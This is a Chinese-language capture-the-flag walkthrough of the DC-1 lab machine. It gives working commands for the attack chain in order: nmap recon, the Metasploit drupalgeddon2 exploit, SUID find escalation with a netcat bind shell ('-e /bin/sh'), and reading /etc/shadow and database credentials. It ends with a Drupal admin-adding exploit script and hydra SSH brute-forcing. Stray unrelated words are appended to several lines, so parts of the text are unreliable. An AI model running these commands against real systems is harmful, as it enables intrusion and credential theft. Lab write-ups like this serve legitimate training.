**php
**python
一.arp-scan -l查看同一区域中存活的主机.
知道了ip而后咱们访问主页为下图:mysql
先信息搜集使用nmap进行端口扫描发现扫描的端口以下:linux
22(ssh) 80(http) . 111(rpcbind) 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 35108/tcp6 status | 100024 1 37240/udp6 status | 100024 1 37414/udp status |_ 100024 1 51353/tcp status Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds
版本:
内容管理系统(CMS)Drupal7
Web 服务器 Apache2.2.22
编程语言 PHP5.4.45
操做系统 Debian
JavaScript 库 jQuery1.4.4web
二.信息搜集完以后我是先开始从https://www.exploit-db.com/?type=webapps这个根据他的版原本进行搜索的,可是最后没有结果,最后从主页下的手 ,从主页看出他的cms是Drupal
以后在网上查的关于他的漏洞sql
三.直接使用msf进行查询search drupal,由于有好多,我先利用的是时间较近的
unix/webapp/drupal_drupalgeddon2模块shell
直接set设置ip使用run -j,以后直接拿到shell编程
输入python -c 'import pty;pty.spawn("/bin/sh")'
bootstrap
四.查看他的系统uname -a发现是linux服务器
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux
以后提权我是在网上找的方式
如今使用suid进行提权先find查找
find / -user root -perm -4000 -print 2>/dev/null
发现Find命令也是以Suid权限运行的话,则将经过find执行的全部命令都会以root权限执行。
五.我先本身建立了一个文本文件而后输入:find chen -exec whoami \;
find chen -exec netcat -lvp 5555 -e /bin/sh \;
六.另外一边进行监听
七.提权成功 我先在etc下面的shadow里面找到的flag4:flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWC
继续查看敏感文件/var/www下面找到了1 它提示:每个好的CMS都须要一个配置文件,你也同样。
八.因此以后我在网上查了drupal 的配置文件在哪里
/sites/default/settings.php
以后先find查询的
cat /var/www/sites/default/settings.php 在这块看到了他的用户名和密码
'username' => 'dbuser', 'password' => 'R0ck3t',
既然知道了他的用户和密码就能够进行链接
九.使用cat 查看他的配置文件里的版本信息
cat /var/www/includes/bootstrap.inc | grep VERSION
获得VERSION', '7.24
刚开始使用searchsploit Drupal都是一些python脚本
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.110.212 -u chen -p chen
十.从刚刚使用python脚本添加的用户和密码来进行登录
十一.由于前面已经知道他的用户名(在shadow里面找的用户名因此如今能够直接拿九头蛇爆破)
hydra -l flag4 -P pass.txt ssh://192.168.110.212
十二.如今可知道他的 密码为orange
进行链接成功!!!!!
用户名:flag4密码:orange